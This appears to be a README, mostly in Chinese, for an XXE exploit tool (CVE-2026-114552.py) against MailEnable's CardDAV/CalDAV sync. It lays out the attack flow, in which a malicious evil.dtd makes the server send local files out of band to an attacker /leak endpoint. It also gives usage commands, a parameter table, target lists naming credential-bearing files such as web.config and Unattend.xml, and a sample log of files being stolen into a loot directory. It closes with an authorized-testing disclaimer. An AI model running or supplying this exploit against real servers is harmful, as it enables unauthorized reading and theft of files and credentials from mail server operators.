MailEnable 的 CardDAV/CalDAV 实现未在其 XML 解析器中禁用外部实体处理。当 MailEnable 服务器与攻击者控制的 CardDAV 源进行同步时,精心构造的 XML 会触发服务器读取任意本地文件,并通过 HTTP 以带外方式窃取文件内容。
PROPFIND。DOCTYPE 的 XML,该实体引用托管在同一监听器上的外部 DTD。file:/// 读取本地文件,并将内容发送到攻击者的 /leak 端点。MailEnable Attacker
| |
|--- PROPFIND /{label} ------------>|
|<-- 207 XML (DOCTYPE -> evil.dtd) -|
|--- GET /evil.dtd?file={label} --->|
|<-- DTD (file:/// + OOB entity) ---|
|--- GET /leak?data={contents} ---->|
|<-- 200 OK ------------------------|
# Read a single file
python3 CVE-2026-114552.py --lhost 10.0.0.5 -f 'C:/Windows/win.ini'
# Read multiple files
python3 CVE-2026-114552.py --lhost 10.0.0.5 \
-f 'C:/Windows/win.ini' \
-f 'C:/inetpub/wwwroot/web.config'
# Read files from a list
python3 CVE-2026-114552.py --lhost 10.0.0.5 --files targets.txt
# Custom port and loot directory
python3 CVE-2026-114552.py --lhost 10.0.0.5 --lport 9090 --loot ./output
| 参数 | 描述 | 默认值 |
|---|---|---|
--lhost | 攻击者监听器 IP(必填) | -- |
--lport | 监听器端口 | 8000 |
-f / --file | 目标文件路径(可重复指定) | C:/Windows/win.ini |
--files | 以换行符分隔的目标路径文件 | -- |
--loot | 存放被窃取文件的目录 | ./loot |
# targets.txt -- lines starting with # are ignored
C:/Windows/win.ini
C:/inetpub/wwwroot/web.config
C:/Windows/Panther/Unattend.xml
当指定多个目标时,漏洞利用程序会在每次成功窃取后自动轮换到下一个文件。
被窃取的文件会以经过清理的文件名保存到 loot 目录中。 控制台输出会显示实时进度:
[12:34:56] 10.0.162.31 PROPFIND / :: "PROPFIND / HTTP/1.1" 207 -
[*] PROPFIND -> targeting: C:/Windows/win.ini
[*] DTD -> file: C:/Windows/win.ini
============================================================
[+] LOOT: C:/Windows/win.ini (73 bytes)
Saved: ./loot/C__Windows_win.ini
Preview: ; for 16-bit app support\n[fonts]\n[extensions]\n...
============================================================
[*] Rotating to next target: C:/inetpub/wwwroot/web.config
<、>、&)的文件可能会被截断,或根据内容导致解析错误。本工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是违法的。测试前请务必获得适当的书面授权。
MIT